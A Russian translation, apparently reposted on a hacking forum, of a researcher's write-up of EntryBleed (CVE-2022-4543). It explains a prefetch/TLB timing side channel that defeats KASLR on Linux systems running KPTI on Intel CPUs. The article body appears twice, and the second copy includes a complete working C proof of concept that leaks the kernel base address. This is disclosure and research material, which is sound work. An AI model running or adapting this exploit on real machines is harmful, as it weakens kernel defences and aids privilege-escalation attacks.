Недавно я обнаружил, что у Linux KPTI есть проблемы с реализацией, которые могут позволить любому непривилегированному локальному злоумышленнику обойти KASLR в системах на базе Intel. Хотя технически это всего лишь утечка информации, он по-прежнему предоставляет примитив, который имеет серьезные последствия для ошибок, которые ранее считались слишком сложными для использования и получили код CVE-2022-4543. Как вы поймете ниже из статьи ниже, я решил назвать эту атаку «EntryBleed».
KPTI (или его первоначальное название KAISER) расшифровывается как изоляция таблицы страниц ядра. Она была представлена несколько лет назад как патч для микроархитектурных уязвимостей Meltdown, когда непривилегированные злоумышленники могли использовать побочный канал для обхода KASLR. Согласно документации - https://www.kernel.org/doc/html/latest/x86/pti.html, KPTI в основном разделяет таблицы страниц пользователя и ядра для каждого процесса. В ядре по-прежнему отображается вся виртуальная память пользовательского пространства, но с установленным битом NX; пользователь, с другой стороны, будет иметь только минимальное количество отображаемой виртуальной памяти ядра, например, обработчики записей исключений/системных вызовов и все остальное, необходимое для перехода пользователя к ядру. KAISER на самом деле означало «Изоляция адресов ядра для эффективного удаления побочных каналов» и предшествовала Meltdown, поскольку обход других побочных каналов уже был известен как проблема. Если часть цели KPTI состоит в том, чтобы выступать в качестве барьера против обходов KASLR для атак по сторонним каналам ЦП, то очевидно, что на момент написания этой статьи она потерпела неудачу.
В 2016 году Дэниел Грусс открыл для себя концепцию prefetch sidechannel - https://gruss.cc/files/prefetch.pdf. Я использовал один его вариант, в котором специально использовался TLB (механизм кэширования для преобразования виртуальных адресов в физические) в качестве механизма побочного канала. x86_64 имеет группу инструкций предварительной выборки, которые «предварительно загружают» адреса в кэш ЦП. Предварительная выборка завершится быстро, если загружаемый адрес уже присутствует в TLB, но завершится медленнее, если адрес отсутствует (и необходимо выполнить обход таблицы страниц). В то время было известно, что ASLR (и KASLR) можно обойти с помощью предварительной выборки по времени в потенциальном диапазоне адресов с использованием инструкций синхронизации с высоким разрешением, таких как «RDTSC».
Прежде чем я продолжу атаку, следует отметить, что меня больше всего вдохновил недавний пост в блоге Google ProjectZero об использовании CVE-2022-42703 - https://googleprojectzero.blogspot....022-42703-bringing-back-the-stack-attack.html. В заключительном разделе сообщения блога они обсуждают, как KPTI был остановлен, поскольку более современные процессоры имеют защиту от Meltdown в чипе, но это делает их снова уязвимыми для предварительной выборки. В этом случае можно было бы просто предположить: «Хорошо, тогда позвольте мне снова включить KPTI». Цитируя сообщение: «kPTI помог защитить этот побочный канал», что было бы вполне логично, исходя из цели KPTI/KAISER, и, похоже, это было консенсусом в разговоре с несколькими другими друзьями-исследователями безопасности.
По какой-то причине я нутром чувствовал, что что-то не так. Я подумал, что, возможно, минимальное подмножество кода ядра, которое все еще отображается во время выполнения кода пользовательского пространства, может быть обнаружено с помощью методов предварительной выборки. После часа копания я заметил следующее. В syscall_init, адрес entry_SYSCALL_64 (который находится в постоянном смещении от базы KASLR на основе /proc/kallsyms) хранится в LSTAR MSR, который содержит адрес обработчика ядра на случай выполнения 64-битного системного вызова. Обратите внимание, как обработчик сначала выполняет несколько инструкций перед переключением на ядро CR3 (если KPTI включен) — это означает, что эта функция все еще должна отображаться в таблицах страниц пользовательского пространства. Затем я выполнил ручной обход таблицы страниц в отладчике, используя пользователя CR3, и оказалось, что entry_SYSCALL_64 сопоставляется с тем же адресом в пользовательской среде, что и в ядре, используя его перебазированный адрес KASLR - это звучит очень подозрительно!
В этот момент я был совершенно уверен, что побочный канал предварительной выборки может раскрыть местоположение entry_SYSCALL_64, а поскольку он, казалось, был сдвинут с остальной частью ядра, то и базу KASLR. Общая идея состоит в том, чтобы просто многократно выполнять системные вызовы, чтобы гарантировать, что страница с entry_SYSCALL_64(отсюда и название EntryBleed) будет кэширована в TLB инструкции, а затем предварительно выбрать по побочному каналу возможный диапазон адресов для этого обработчика (поскольку само ядро гарантированно быть в пределах 0xffffffff80000000 - 0xffffffffc0000000).
Проницательный читатель может задаться вопросом, как запись сохраняется при возвращении в пространство пользователя, несмотря на запись CR3 при переключении на таблицы страниц ядра. Скорее всего, это связано с тем, что в записи таблицы страниц этой страницы установлен глобальный бит, который защитит ее от аннулирования TLB при выполнении инструкций перемещения в CR3. На самом деле в документации PTI сказано следующее: «глобальные страницы отключены для всех структур ядра, не отображаемых как в таблицы страниц ядра, так и в таблицы страниц пользовательского пространства». Первоначально я подозревал, что PCID (который вводит отдельные контексты TLB для снижения вероятности инвалидации с использованием младших 12 бит CR3) был основной причиной, как это часто появляется в обсуждениях оптимизации производительности защиты от последствий Meltdown, но битовая маска KPTI CR3не показывает изменений в PCID. Возможно, я неправильно понимаю код, поэтому было бы здорово, если бы кто-нибудь поправил меня, если я ошибаюсь.
В любом случае, полученный обход чрезвычайно прост. В отличие от некоторых других атак uarch, кажется, что он отлично работает при нормальной нагрузке в обычных системах, и я могу вывести базу KASLR на системах с KPTI почти с полной точностью, всего лишь усредняя 100 итераций. Обратите внимание, что сам код взят из оригинальной статьи о предварительной выборке, но cpuid заменен на инструкцию забора для работы в виртуальных машинах (благодаря этому методу p0). Ниже мой код ( entry_SYSCALL_64_offset должен быть скорректирован в зависимости от ядра, установив его на расстояние между ним и startup_64 ):
KASLR обошел на системах с KPTI менее 100 строк C!
Мне удалось заставить это работать на нескольких процессорах Intel (включая i5-8265U, i7-8750H, i7-9700F, i7-9750H, Xeon (R) CPU E5-2640) - я также работал на некоторых экземплярах VPS, но не смог выяснить там модель процессора Intel. Кажется, он работает с широким спектром версий ядра с KPTI — я тестировал его на Arch 6.0.12-hardened1-1-hardened, Ubuntu 5.15.0-56-generic, 6.0.12-1-MANJARO, 5.10. 0-19-amd64 и пользовательской сборке 5.18.3. Это также работает в KVM для утечки базы KASLR гостевой ОС (хотя для того, чтобы предварительная выборка работала, нужно было бы перенаправить функции ЦП хоста с «-cpu host» в QEMU). Я не уверен, как побочные эффекты TLB сохраняются в сценарии виртуальной машины, несмотря на запись CR3 и потенциальные выходы виртуальной машины - если у кого-то есть идеи, сообщите мне! На данный момент я не думаю, что эта атака затрагивает AMD. Наконец, я не считаю, что повторные системные вызовы необходимы в моем эксплойте, поскольку более поздние тесты показывают, что он работал без их выполнения при каждом измерении, скорее всего, из-за глобального бита, но я все же сохранил его в своем эксплойте, чтобы гарантировать его существование в ТЛБ.
Вот демонстрация этого (база ядра печатается перед оболочкой для сравнения):
Одна вещь, которую можно было бы сделать для повышения надежности, — это предварительный доступ к большому количеству адресов пользовательского пространства с определенными шагами, чтобы вытеснить TLB (и избежать ложных ответов от других кэшированных адресов ядра, которые я видел с большей частотой в некоторых системах). Я также предполагаю, что в сценариях без KPTI (как в случае с ProjectZero) предварительная выборка будет работать даже лучше, если в ядре будет запускаться определенный кодовый путь и специально искать это смещение во время побочного канала.
В заключение, Linux KPTI не справляется со своей задачей, и получить базу KASLR по-прежнему довольно просто. Я уже отправил электронное письмо по адресу security@kernel.org, а также в соответствующие списки рассылки для дистрибутивов и был уполномочен раскрыть это, поскольку потенциальное исправление может занять некоторое время. Я, честно говоря, не слишком уверен, как лучше всего исправить это, поскольку это скорее проблема реализации, но я предложил рандомизировать виртуальный адрес обработчиков входа/выхода, которые отображаются в пользовательском пространстве, чтобы они были по фиксированному виртуальному адресу, не связаны с базой ядра или имеют рандомизированное смещение от базы ядра. Я подозреваю, что эта проблема действительно может быть вызвана серьезным упущением; один разработчик ядра упомянул мне, что это определенно не было намерением и могло быть регрессом.
Я закончу этот пост некоторыми признаниями. Огромное спасибо моему наставнику по безопасности Джозефу Равичандрану из MIT CSAIL за то, что он руководил мной в этой области исследований и много советовал мне по этой ошибке. Он познакомил меня с атаками с предварительной выборкой через курс безопасного проектирования оборудования от профессора Мэнцзя Яна — одна из их последних лабораторных работ посвящена обходу ASLR пользовательского пространства с помощью предварительной выборки - http://csg.csail.mit.edu/6.888Yan/. Спасибо также Сету Дженкинсу из ProjectZero за первоначальное вдохновение и D3v17 за его поддержку и всестороннее тестирование. Как всегда, не стесняйтесь задавать вопросы или указывать на ошибки в моих объяснениях!
Как позже сообщил мне bcoles -https://github.com/bcoles , общая атака с предварительной выборкой, по-видимому, работает для некоторых процессоров AMD, что неудивительно, учитывая этот документ - https://www.usenix.org/system/files/sec22-lipp.pdf и этот совет по безопасности - https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1017. Тем не менее, также важно отметить, что это будет в основном та же атака, которую первоначально обсуждал ProjectZero, поскольку AMD не пострадала от Meltdown, поэтому KPTI никогда не включался для их процессоров.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник:
www.willsroot.io
KPTI (или его первоначальное название KAISER) расшифровывается как изоляция таблицы страниц ядра. Она была представлена несколько лет назад как патч для микроархитектурных уязвимостей Meltdown, когда непривилегированные злоумышленники могли использовать побочный канал для обхода KASLR. Согласно документации - https://www.kernel.org/doc/html/latest/x86/pti.html, KPTI в основном разделяет таблицы страниц пользователя и ядра для каждого процесса. В ядре по-прежнему отображается вся виртуальная память пользовательского пространства, но с установленным битом NX; пользователь, с другой стороны, будет иметь только минимальное количество отображаемой виртуальной памяти ядра, например, обработчики записей исключений/системных вызовов и все остальное, необходимое для перехода пользователя к ядру. KAISER на самом деле означало «Изоляция адресов ядра для эффективного удаления побочных каналов» и предшествовала Meltdown, поскольку обход других побочных каналов уже был известен как проблема. Если часть цели KPTI состоит в том, чтобы выступать в качестве барьера против обходов KASLR для атак по сторонним каналам ЦП, то очевидно, что на момент написания этой статьи она потерпела неудачу.
В 2016 году Дэниел Грусс открыл для себя концепцию prefetch sidechannel - https://gruss.cc/files/prefetch.pdf. Я использовал один его вариант, в котором специально использовался TLB (механизм кэширования для преобразования виртуальных адресов в физические) в качестве механизма побочного канала. x86_64 имеет группу инструкций предварительной выборки, которые «предварительно загружают» адреса в кэш ЦП. Предварительная выборка завершится быстро, если загружаемый адрес уже присутствует в TLB, но завершится медленнее, если адрес отсутствует (и необходимо выполнить обход таблицы страниц). В то время было известно, что ASLR (и KASLR) можно обойти с помощью предварительной выборки по времени в потенциальном диапазоне адресов с использованием инструкций синхронизации с высоким разрешением, таких как «RDTSC».
Прежде чем я продолжу атаку, следует отметить, что меня больше всего вдохновил недавний пост в блоге Google ProjectZero об использовании CVE-2022-42703 - https://googleprojectzero.blogspot....022-42703-bringing-back-the-stack-attack.html. В заключительном разделе сообщения блога они обсуждают, как KPTI был остановлен, поскольку более современные процессоры имеют защиту от Meltdown в чипе, но это делает их снова уязвимыми для предварительной выборки. В этом случае можно было бы просто предположить: «Хорошо, тогда позвольте мне снова включить KPTI». Цитируя сообщение: «kPTI помог защитить этот побочный канал», что было бы вполне логично, исходя из цели KPTI/KAISER, и, похоже, это было консенсусом в разговоре с несколькими другими друзьями-исследователями безопасности.
По какой-то причине я нутром чувствовал, что что-то не так. Я подумал, что, возможно, минимальное подмножество кода ядра, которое все еще отображается во время выполнения кода пользовательского пространства, может быть обнаружено с помощью методов предварительной выборки. После часа копания я заметил следующее. В syscall_init, адрес entry_SYSCALL_64 (который находится в постоянном смещении от базы KASLR на основе /proc/kallsyms) хранится в LSTAR MSR, который содержит адрес обработчика ядра на случай выполнения 64-битного системного вызова. Обратите внимание, как обработчик сначала выполняет несколько инструкций перед переключением на ядро CR3 (если KPTI включен) — это означает, что эта функция все еще должна отображаться в таблицах страниц пользовательского пространства. Затем я выполнил ручной обход таблицы страниц в отладчике, используя пользователя CR3, и оказалось, что entry_SYSCALL_64 сопоставляется с тем же адресом в пользовательской среде, что и в ядре, используя его перебазированный адрес KASLR - это звучит очень подозрительно!
В этот момент я был совершенно уверен, что побочный канал предварительной выборки может раскрыть местоположение entry_SYSCALL_64, а поскольку он, казалось, был сдвинут с остальной частью ядра, то и базу KASLR. Общая идея состоит в том, чтобы просто многократно выполнять системные вызовы, чтобы гарантировать, что страница с entry_SYSCALL_64(отсюда и название EntryBleed) будет кэширована в TLB инструкции, а затем предварительно выбрать по побочному каналу возможный диапазон адресов для этого обработчика (поскольку само ядро гарантированно быть в пределах 0xffffffff80000000 - 0xffffffffc0000000).
Проницательный читатель может задаться вопросом, как запись сохраняется при возвращении в пространство пользователя, несмотря на запись CR3 при переключении на таблицы страниц ядра. Скорее всего, это связано с тем, что в записи таблицы страниц этой страницы установлен глобальный бит, который защитит ее от аннулирования TLB при выполнении инструкций перемещения в CR3. На самом деле в документации PTI сказано следующее: «глобальные страницы отключены для всех структур ядра, не отображаемых как в таблицы страниц ядра, так и в таблицы страниц пользовательского пространства». Первоначально я подозревал, что PCID (который вводит отдельные контексты TLB для снижения вероятности инвалидации с использованием младших 12 бит CR3) был основной причиной, как это часто появляется в обсуждениях оптимизации производительности защиты от последствий Meltdown, но битовая маска KPTI CR3не показывает изменений в PCID. Возможно, я неправильно понимаю код, поэтому было бы здорово, если бы кто-нибудь поправил меня, если я ошибаюсь.
В любом случае, полученный обход чрезвычайно прост. В отличие от некоторых других атак uarch, кажется, что он отлично работает при нормальной нагрузке в обычных системах, и я могу вывести базу KASLR на системах с KPTI почти с полной точностью, всего лишь усредняя 100 итераций. Обратите внимание, что сам код взят из оригинальной статьи о предварительной выборке, но cpuid заменен на инструкцию забора для работы в виртуальных машинах (благодаря этому методу p0). Ниже мой код ( entry_SYSCALL_64_offset должен быть скорректирован в зависимости от ядра, установив его на расстояние между ним и startup_64 ):
C:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
#define entry_SYSCALL_64_offset 0x400000ull
uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}
#define STEP 0x100000ull
#define SCAN_START KERNEL_LOWER_BOUND + entry_SYSCALL_64_offset
#define SCAN_END KERNEL_UPPER_BOUND + entry_SYSCALL_64_offset
#define DUMMY_ITERATIONS 5
#define ITERATIONS 100
#define ARR_SIZE (SCAN_END - SCAN_START) / STEP
uint64_t leak_syscall_entry(void)
{
uint64_t data[ARR_SIZE] = {0};
uint64_t min = ~0, addr = ~0;
for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104);
uint64_t time = sidechannel(test);
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
for (int i = 0; i < ARR_SIZE; i++)
{
data[i] /= ITERATIONS;
if (data[i] < min)
{
min = data[i];
addr = SCAN_START + i * STEP;
}
printf("%llx %ld\n", (SCAN_START + i * STEP), data[i]);
}
return addr;
}
int main()
{
printf ("KASLR base %llx\n", leak_syscall_entry() - entry_SYSCALL_64_offset);
}
KASLR обошел на системах с KPTI менее 100 строк C!
Мне удалось заставить это работать на нескольких процессорах Intel (включая i5-8265U, i7-8750H, i7-9700F, i7-9750H, Xeon (R) CPU E5-2640) - я также работал на некоторых экземплярах VPS, но не смог выяснить там модель процессора Intel. Кажется, он работает с широким спектром версий ядра с KPTI — я тестировал его на Arch 6.0.12-hardened1-1-hardened, Ubuntu 5.15.0-56-generic, 6.0.12-1-MANJARO, 5.10. 0-19-amd64 и пользовательской сборке 5.18.3. Это также работает в KVM для утечки базы KASLR гостевой ОС (хотя для того, чтобы предварительная выборка работала, нужно было бы перенаправить функции ЦП хоста с «-cpu host» в QEMU). Я не уверен, как побочные эффекты TLB сохраняются в сценарии виртуальной машины, несмотря на запись CR3 и потенциальные выходы виртуальной машины - если у кого-то есть идеи, сообщите мне! На данный момент я не думаю, что эта атака затрагивает AMD. Наконец, я не считаю, что повторные системные вызовы необходимы в моем эксплойте, поскольку более поздние тесты показывают, что он работал без их выполнения при каждом измерении, скорее всего, из-за глобального бита, но я все же сохранил его в своем эксплойте, чтобы гарантировать его существование в ТЛБ.
Вот демонстрация этого (база ядра печатается перед оболочкой для сравнения):
Одна вещь, которую можно было бы сделать для повышения надежности, — это предварительный доступ к большому количеству адресов пользовательского пространства с определенными шагами, чтобы вытеснить TLB (и избежать ложных ответов от других кэшированных адресов ядра, которые я видел с большей частотой в некоторых системах). Я также предполагаю, что в сценариях без KPTI (как в случае с ProjectZero) предварительная выборка будет работать даже лучше, если в ядре будет запускаться определенный кодовый путь и специально искать это смещение во время побочного канала.
В заключение, Linux KPTI не справляется со своей задачей, и получить базу KASLR по-прежнему довольно просто. Я уже отправил электронное письмо по адресу security@kernel.org, а также в соответствующие списки рассылки для дистрибутивов и был уполномочен раскрыть это, поскольку потенциальное исправление может занять некоторое время. Я, честно говоря, не слишком уверен, как лучше всего исправить это, поскольку это скорее проблема реализации, но я предложил рандомизировать виртуальный адрес обработчиков входа/выхода, которые отображаются в пользовательском пространстве, чтобы они были по фиксированному виртуальному адресу, не связаны с базой ядра или имеют рандомизированное смещение от базы ядра. Я подозреваю, что эта проблема действительно может быть вызвана серьезным упущением; один разработчик ядра упомянул мне, что это определенно не было намерением и могло быть регрессом.
Я закончу этот пост некоторыми признаниями. Огромное спасибо моему наставнику по безопасности Джозефу Равичандрану из MIT CSAIL за то, что он руководил мной в этой области исследований и много советовал мне по этой ошибке. Он познакомил меня с атаками с предварительной выборкой через курс безопасного проектирования оборудования от профессора Мэнцзя Яна — одна из их последних лабораторных работ посвящена обходу ASLR пользовательского пространства с помощью предварительной выборки - http://csg.csail.mit.edu/6.888Yan/. Спасибо также Сету Дженкинсу из ProjectZero за первоначальное вдохновение и D3v17 за его поддержку и всестороннее тестирование. Как всегда, не стесняйтесь задавать вопросы или указывать на ошибки в моих объяснениях!
Как позже сообщил мне bcoles -https://github.com/bcoles , общая атака с предварительной выборкой, по-видимому, работает для некоторых процессоров AMD, что неудивительно, учитывая этот документ - https://www.usenix.org/system/files/sec22-lipp.pdf и этот совет по безопасности - https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1017. Тем не менее, также важно отметить, что это будет в основном та же атака, которую первоначально обсуждал ProjectZero, поскольку AMD не пострадала от Meltdown, поэтому KPTI никогда не включался для их процессоров.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник:
EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)
A blog about pentesting, CTFs, and security
Последнее редактирование: